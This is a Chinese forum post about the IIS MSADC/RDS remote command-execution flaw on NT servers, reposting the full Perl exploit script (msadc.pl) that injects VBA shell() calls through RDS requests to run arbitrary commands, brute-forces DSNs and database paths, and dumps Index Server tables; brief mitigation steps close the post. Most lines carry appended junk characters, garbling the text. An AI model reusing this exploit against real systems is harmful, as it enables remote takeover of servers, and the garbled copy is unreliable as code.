社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167205阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \<%?=C'w~  
>k8FUf(c  
涉及程序: s >7(S%#N  
Microsoft NT server H|z:j35\  
J0 UF(  
描述: O^r,H,3S  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 <KrfM  
b,lIndj#  
详细: XXy &1C  
如果你没有时间读详细内容的话,就删除: m^KK #Hw/`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 2`pg0ciX (  
有关的安全问题就没有了。  h@+(VQ  
&d=ZCaP  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 MNocXK  
QFU1l"(qGk  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 .9!?vz]1  
关于利用ODBC远程漏洞的描述,请参看: S?u@3PyJm  
cIg+^Tl  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z+]YB5zK%  
ok/{ w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 l {t! LTf;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp yZY.B {  
jfjT::f>l  
这里不再论述。 sEx`9_oZ  
<nJ8%aY,  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ]] 50c  
aK]H(F2#  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset "p"~fN /I9  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! `|e3OCU  
u .,l_D_  
I5#zo,9  
#将下面这段保存为txt文件,然后: "perl -x 文件名" V%JG :'6L  
O[^u<*fi{  
#!perl dReJ;x4  
# ]::g-&%Um  
# MSADC/RDS 'usage' (aka exploit) script N _|tw  
# +J7xAyv_Oz  
# by rain.forest.puppy }o7"2h ht  
# Pvz\zRq  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Y(C-o[-N  
# beta test and find errors! v|wO qS  
.NT9dX  
use Socket; use Getopt::Std; M"E7= J  
getopts("e:vd:h:XR", \%args); oNp(GQ@0  
c3C<P  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; MXrh[QCU)  
7 |Q;E|=-Y  
if (!defined $args{h} && !defined $args{R}) { >=d%t6 %(  
print qq~ *d&+? !  
Usage: msadc.pl -h <host> { -d <delay> -X -v } M{O8iq[  
-h <host> = host you want to scan (ip or domain) m!Fx#   
-d <seconds> = delay between calls, default 1 second W6jdS;3  
-X = dump Index Server path table, if available ehyCAp0oI  
-v = verbose ,m1F<Pdts  
-e = external dictionary file for step 5 M6H#Y2!ZbC  
,L$, d  
Or a -R will resume a command session Y(6p&I  
9_l WB6  
~; exit;} QN^AihsPi  
V2IurDE  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; L[O.]2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -HUlB|Q8r  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} +K7oyZg  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); v_I)eac z  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} D0LoT?$N  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } tlcNGPa  
5'S~PQka*  
if (!defined $args{R}){ $ret = &has_msadc; TyN]Pa  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 4x2,X`pe3  
VTJxVYE  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Q$8K-5U%  
. "cmd /c "; hv#|dI=kZR  
$in=<STDIN>; chomp $in; HB, k}Q  
$command="cmd /c " . $in ; G$-[(eu -  
;CLOZ{  
if (defined $args{R}) {&load; exit;} O^KIB%}fu  
?k+>~k{}a  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Fm4)|5  
&try_btcustmr; UpS7>c7s  
^(~%'f  
print "\nStep 2: Trying to make our own DSN..."; >WmT M0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 8 EUc 6  
pvYBhTz0  
print "\nStep 3: Trying known DSNs..."; 67A g.f6-  
&known_dsn; `,$PRN"]  
}$Z0v`  
print "\nStep 4: Trying known .mdbs..."; h+j{;evN  
&known_mdb; G!.%Qqs  
`!@d$*:'  
if (defined $args{e}){  r0,XR  
print "\nStep 5: Trying dictionary of DSN names..."; cc{^0JT  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } BMYvxSsm  
vY!'@W  
print "Sorry Charley...maybe next time?\n"; FS7@6I2Ts  
exit; oP_}C[  
1)hO!%  
############################################################################## ?C(3TKH  
Zk> #T:{h  
sub sendraw { # ripped and modded from whisker B;c2gu  
sleep($delay); # it's a DoS on the server! At least on mine...  C^*3nd3  
my ($pstr)=@_; lB*HL C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 2JL\1=k;  
die("Socket problems\n"); .dKFQH iYJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ @ ('/NjTZ  
select(S); $|=1; nWFU8u%  
print $pstr; my @in=<S>; IM=3n%6  
select(STDOUT); close(S); ;3Z6K5z*f  
return @in; m#`1.5%  
} else { die("Can't connect...\n"); }} x@? YS  
=H;F{J "  
############################################################################## !pxOhO.V  
{3eg4j.Z  
sub make_header { # make the HTTP request fzZ`O{$8  
my $msadc=<<EOT D]+]Br8  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 {8T/;K@  
User-Agent: ACTIVEDATA T&+y~c[au  
Host: $ip A8T8+M:  
Content-Length: $clen K(}g!iT)~  
Connection: Keep-Alive bDjm:G  
Sc9}W U  
ADCClientVersion:01.06 wf2v9.;X:<  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "wnN 0 p  
/q5!p0fH*  
--!ADM!ROX!YOUR!WORLD! )Y:C'*.r  
Content-Type: application/x-varg U5ME`lN*`  
Content-Length: $reqlen CkR 95*  
_*fOn@Vwo  
EOT ^T*'B-`C7X  
; $msadc=~s/\n/\r\n/g; qh#?a'  
return $msadc;} wyB  
$[V-M\q  
############################################################################## PnZY%+[I  
#AF.1;(k  
sub make_req { # make the RDS request `oOVR6{K9  
my ($switch, $p1, $p2)=@_; s y>}2orj~  
my $req=""; my $t1, $t2, $query, $dsn; 0+Z?9$a1  
Iad&Z8E  
if ($switch==1){ # this is the btcustmr.mdb query 'a G`qPB  
$query="Select * from Customers where City=" . make_shell(); N2 .Ym;^  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 2:G/Oj h&]  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} WB5M ![  
zI"1.^Trn  
elsif ($switch==2){ # this is general make table query JKA%$l0  
$query="create table AZZ (B int, C varchar(10))"; 97vQM  
$dsn="$p1";} S!h=HE  
LG;U?:\  
elsif ($switch==3){ # this is general exploit table query B{!*OC{l  
$query="select * from AZZ where C=" . make_shell(); W~j>&PK,?  
$dsn="$p1";} pvhN.z  
'$5Qdaj  
elsif ($switch==4){ # attempt to hork file info from index server `J %35  
$query="select path from scope()"; t&Jrchk  
$dsn="Provider=MSIDXS;";} 7gE/g`"#  
c7A]\1 ~  
elsif ($switch==5){ # bad query 9QHV%%  
$query="select"; N#GMvU#R  
$dsn="$p1";} 5#~E[dr  
)6{,y{5!  
$t1= make_unicode($query); x9\]C' *sO  
$t2= make_unicode($dsn); ={\9-JJhE  
$req = "\x02\x00\x03\x00"; 65l9dM2  
$req.= "\x08\x00" . pack ("S1", length($t1)); MG vp6/Pd  
$req.= "\x00\x00" . $t1 ; X#Hl<d2  
$req.= "\x08\x00" . pack ("S1", length($t2)); "'~&D/7  
$req.= "\x00\x00" . $t2 ; <=]:ED $V@  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &M7AM"9  
return $req;} +LF`ZXe8l  
6 -BC/  
############################################################################## B^Hh rz!  
~uu{ v')  
sub make_shell { # this makes the shell() statement Lum5Va%0  
return "'|shell(\"$command\")|'";} NIG* }[}P  
]/7#[  
############################################################################## `#?]g!  
=-]NAj\  
sub make_unicode { # quick little function to convert to unicode c~u91h?  
my ($in)=@_; my $out; $Y[C A.F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } IHv>V9yiG  
return $out;} t:YMF$Z  
KM/c^ a4V  
############################################################################## ufJHC06  
q<Y#-Io%3  
sub rdo_success { # checks for RDO return success (this is kludge) |%@pjJ`3  
my (@in) = @_; my $base=content_start(@in); P52qtN<  
if($in[$base]=~/multipart\/mixed/){ #9t3<H[  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} FiKGB\_]  
return 0;} XA\wZV |{  
?u>A2Vc!  
############################################################################## =g$%jM>35  
-nY_.fp>  
sub make_dsn { # this makes a DSN for us 3x)jab  
my @drives=("c","d","e","f"); rC6@ ]  
print "\nMaking DSN: "; IU\h,Ug  
foreach $drive (@drives) { 0+NGFX \p  
print "$drive: "; 2FQTu*p&B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 4P?@NJp  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .9q`Tf  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); QObHW[:F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Z  GrDa  
return 0 if $2 eq "404"; # not found/doesn't exist 6S^JmYq  
if($2 eq "200") { :XB^IyO-A  
foreach $line (@results) { Zou;o9Ww  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} %II o  
} return 0;} ] -%B4lT  
^G NL:D%6d  
############################################################################## d?aZk-|c  
aVp-Ps|r  
sub verify_exists { =nv/ r  
my ($page)=@_; r |2{( +  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Li9>RY+3  
return $results[0];} 0~e6\7={  
TPmb]j  
############################################################################## 4ULdf|oP"  
FY pspv?4  
sub try_btcustmr { y<PQ$D)  
my @drives=("c","d","e","f"); [= Xb*~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); lD$\t/8B  
_+}f@&"  
foreach $dir (@dirs) { r ?z}TtDp  
print "$dir -> "; # fun status so you can see progress 4c<\_\\ck  
foreach $drive (@drives) { fzUG1|$e  
print "$drive: "; # ditto R#!Urhh  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; @>`qfy?  
$reqlenlen=length( "$reqlen" ); p ^Y2A  
$clen= 206 + $reqlenlen + $reqlen; ]j]<CqG  
0@RVM|  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); S7j U:CLJ  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `:Zgq+j&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Zi<(>@z2  
f/U~X;  
############################################################################## a0 's6C  
4)Ew rU  
sub odbc_error { q oEZ>  
my (@in)=@_; my $base; .x1.`Y   
my $base = content_start(@in); tg7QX/KX  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this _o==  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9/{ 8Y&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A @e!~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u/%Z0`X  
return $in[$base+4].$in[$base+5].$in[$base+6];} a\KM^jrCD  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; cCcJOhk|d  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . j9.%(*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} izLB4pk$  
[XkWPx`  
############################################################################## B?ipo,2~{  
Nzb=h/;  
sub verbose { k0 D):  
my ($in)=@_; B.~[m}  
return if !$verbose; rdH^"(  
print STDOUT "\n$in\n";} ?(M]'ia{  
DPfN*a-P(  
############################################################################## ,nJCqX~ /G  
$g\p)- aU  
sub save { /sSM<r]5j  
my ($p1, $p2, $p3, $p4)=@_; f6m h_l  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %!R\-Vej  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; % -.V6}V  
close OUT;} f7Gs1{  
-i]2 b  
############################################################################## ? 8)k6:  
q[x|tO  
sub load { *r ('A  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3dgPP@7d$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n");  KON^  
@p=<IN>; close(IN); <3x:nH @  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); a..LbQQ  
$target= inet_aton($ip) || die("inet_aton problems"); KBA& s  
print "Resuming to $ip ..."; [-^xw1:  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; =-avzuy#  
if($p[1]==1) { O7p=|F"  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; oo1h"[  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; p{&o{+c  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c/%GfB[w0  
if (rdo_success(@results)){print "Success!\n";} .f|)od[  
else { print "failed\n"; verbose(odbc_error(@results));}} 7gREcL2  
elsif ($p[1]==3){ \)W Z D  
if(run_query("$p[3]")){ oAv LSFn  
print "Success!\n";} else { print "failed\n"; }} c=re(  
elsif ($p[1]==4){ NleMZ  
if(run_query($drvst . "$p[3]")){ oVd7ucnK  
print "Success!\n"; } else { print "failed\n"; }} [}5mi?v  
exit;} *P?Rucg  
&td   
############################################################################## .>2]m[53  
^ZFK:|Ju  
sub create_table { +5GPU 9k  
my ($in)=@_; fM"&=X  
$reqlen=length( make_req(2,$in,"") ) - 28; O"wo&5b_  
$reqlenlen=length( "$reqlen" ); ADA}_|O  
$clen= 206 + $reqlenlen + $reqlen; wWM[Hus  
my @results=sendraw(make_header() . make_req(2,$in,"")); (^58$IW71  
return 1 if rdo_success(@results); "oh ;?gQ.  
my $temp= odbc_error(@results); verbose($temp); |{MXDx  
return 1 if $temp=~/Table 'AZZ' already exists/; znAo]F9=J"  
return 0;} 9}+X#ma.Nc  
B[d%?L_  
############################################################################## F:AVik  
I~nz~U:ak  
sub known_dsn { Lzx2An@R  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go spWo{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  }- wK  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", V?~!Dp  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); |Z8Eu0RSb  
8YQ7XB  
foreach $dSn (@dsns) { `chD*@76I  
print "."; Z_mQpt|y  
next if (!is_access("DSN=$dSn")); RL*b4 7,  
if(create_table("DSN=$dSn")){ < Yc)F.:  
print "$dSn successful\n"; 1/%5pb2\  
if(run_query("DSN=$dSn")){ z&\N^tBv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H%0WD_  
print "Something's borked. Use verbose next time\n";}}} print "\n";} q``/7  
_/YM@%d  
############################################################################## q9c-UQB(!  
}/ Qj8l.  
sub is_access { ,:0!+1  
my ($in)=@_; szXqJG8|  
$reqlen=length( make_req(5,$in,"") ) - 28; IA$=  
$reqlenlen=length( "$reqlen" ); ^-F#"i|Cn  
$clen= 206 + $reqlenlen + $reqlen; V`G^Jyj  
my @results=sendraw(make_header() . make_req(5,$in,"")); '=J|IN7WT  
my $temp= odbc_error(@results); P1 |3%#c  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i?,\>LTG  
return 0;} z'\BZ5riX<  
ULO_?4}B  
############################################################################## h-U]?De5\  
<YrsS-9  
sub run_query { O\h%ZLjfO  
my ($in)=@_; g'2}Y5m$`  
$reqlen=length( make_req(3,$in,"") ) - 28; OHv9|&Tpl  
$reqlenlen=length( "$reqlen" ); +jO#?J  
$clen= 206 + $reqlenlen + $reqlen; 8Nx fYA  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]$Q@4=fb  
return 1 if rdo_success(@results); P G zwS  
my $temp= odbc_error(@results); verbose($temp); I:1Pz|$`  
return 0;} W*/2x8$d  
gLlA'`!  
############################################################################## [WXcp1p  
<RcB: h  
sub known_mdb { ?QtM|e  
my @drives=("c","d","e","f","g"); ]C{N4Ni^Z  
my @dirs=("winnt","winnt35","winnt351","win","windows"); .N7&Jy  
my $dir, $drive, $mdb; 7^1K4%IPl  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; t0Inf [um  
W,:j >v g  
# this is sparse, because I don't know of many rl-#Ez  
my @sysmdbs=( "\\catroot\\icatalog.mdb", -b34Wz(  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5C9 .h:c4y  
"\\system32\\certmdb.mdb", JURg=r]LI  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% .=) *Qx+  
ONUa7  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ,^jQBD4={  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 65tsJ"a<  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", >f D%lq;  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ex6Kxd}8  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", R<^E?FI   
"\\cfusion\\database\\cfexamples.mdb", "B9zQ,[Q  
"\\cfusion\\database\\cfsnippets.mdb", ]deO\mB  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", OaY]}4tI$  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,V)hV@Dk  
"\\cfusion\\brighttiger\\database\\cleam.mdb", aM:tg1g  
"\\cfusion\\database\\smpolicy.mdb", s"~,Zzy@j  
"\\cfusion\\database\cypress.mdb", Z=l2Po n  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [q^pMH#U"  
"\\website\\cgi-win\\dbsample.mdb", %D7'7E8.  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Z/;hbbG  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" D\E"v,Y\+O  
); #these are just ClufP6'  
foreach $drive (@drives) { mS.!lkV  
foreach $dir (@dirs){ rLbFaLeQ  
foreach $mdb (@sysmdbs) { }S%}%1pG7  
print "."; ES#q/yab5  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ rMJ4w['J=  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 24f N3  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9e&*+ +vf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; z_). -  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5G z~,_  
a;(,$q3M  
foreach $drive (@drives) { ^}kYJvqA  
foreach $mdb (@mdbs) { -:wV3D  
print "."; -*2b/=$u  
if(create_table($drv . $drive . $dir . $mdb)){ 3Qp6$m  
print "\n" . $drive . $dir . $mdb . " successful\n"; c~6ywuq+M`  
if(run_query($drv . $drive . $dir . $mdb)){ I,V'J|=j  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; bHzZ4i  
} else { print "Something's borked. Use verbose next time\n"; }}}} "AIS6%,  
} d8WEsQ+)A  
& fnfuU$   
############################################################################## RG/P]  
{@Z*.G^  
sub hork_idx { \;+b1  
print "\nAttempting to dump Index Server tables...\n"; (D+%*ax  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; S Z &[o&H  
$reqlen=length( make_req(4,"","") ) - 28; ]agdVr^  
$reqlenlen=length( "$reqlen" ); T<RWz  
$clen= 206 + $reqlenlen + $reqlen; Iapzhy2l  
my @results=sendraw2(make_header() . make_req(4,"","")); j92+kq>Xd  
if (rdo_success(@results)){ 3>^B%qg6  
my $max=@results; my $c; my %d; {s?hXB  
for($c=19; $c<$max; $c++){ avqJ[R  
$results[$c]=~s/\x00//g; Xg}~\|n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @d|]BqQ4jh  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; !DKl:8mx4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Y1BxRd?D  
$d{"$1$2"}="";} + Cq&~<B  
foreach $c (keys %d){ print "$c\n"; } eqpnh^0}d  
} else {print "Index server doesn't seem to be installed.\n"; }} iT1HbAT]  
5jTA6s9zA  
############################################################################## uW,rmd  
]`}EOS-Q  
sub dsn_dict { =.9tRq  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ~SEIIq  
while(<IN>){ i^/ H>E%u  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; CS"p3$7,  
next if (!is_access("DSN=$dSn")); P?y{ 9H*  
if(create_table("DSN=$dSn")){ S_Vquw(+  
print "$dSn successful\n"; eh3CVgH91;  
if(run_query("DSN=$dSn")){ dW#l3_'3T  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { y{nX 6  
print "Something's borked. Use verbose next time\n";}}} 9(BB>o54r  
print "\n"; close(IN);} [wJl]i  
QSOJHRl=C  
############################################################################## BFn}~\wzK  
?=?9a  
sub sendraw2 { # ripped and modded from whisker yF^)H{yx  
sleep($delay); # it's a DoS on the server! At least on mine... opCQ=G1  
my ($pstr)=@_; AOCiIPw  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vpk~,D07yR  
die("Socket problems\n"); 1{wOjq(4  
if(connect(S,pack "SnA4x8",2,80,$target)){ bvo }b-]E  
print "Connected. Getting data"; cp+eh  
open(OUT,">raw.out"); my @in; M]e _@:!  
select(S); $|=1; print $pstr; l,Ixz1S3e  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} p*=9Ea:  
close(OUT); select(STDOUT); close(S); return @in; 6EG`0h6  
} else { die("Can't connect...\n"); }} ;'|t>'0_  
glWa?#1  
############################################################################## /A`Ly p#  
YZp]vlm~  
sub content_start { # this will take in the server headers OH~I+=}.  
my (@in)=@_; my $c; m*TJ@gI*t  
for ($c=1;$c<500;$c++) { 7me1 :}4  
if($in[$c] =~/^\x0d\x0a/){ R<1[hH9"o  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } =+wkjTO  
else { return $c+1; }}} _NM=9cWd  
return -1;} # it should never get here actually s ,GGO3^  
=7U 8`]WA  
############################################################################## $ZE"o`=7  
:*lB86Ly  
sub funky { -Cf< #'x_  
my (@in)=@_; my $error=odbc_error(@in); LtBm }0  
if($error=~/ADO could not find the specified provider/){ f.u[!T  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; I*8_5?)g<  
exit;} a~[]Ye@H  
if($error=~/A Handler is required/){ ?I#zcD)w  
print "\nServer has custom handler filters (they most likely are patched)\n"; `LVX|l62  
exit;} FYeUz$/  
if($error=~/specified Handler has denied Access/){ `)eqTeW  
print "\nServer has custom handler filters (they most likely are patched)\n"; C$EvcF% 1  
exit;}} %g%#=a;]q  
9=;ETLL "  
############################################################################## jhSc9  
y]E ?\03"  
sub has_msadc { ,0[h`FN  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); LgS.%Mn  
my $base=content_start(@results); ^'aMp}3iu  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .;9I:YB$  
return 0;} M7n|Z{?(  
1)wzSEV@  
######################## oNr~8CA`  
\~ h7  
_}wy|T&7k&  
解决方案: 4 5\%2un  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll B (dq$+4  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 KBo/GBD]|  
h $}&N  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五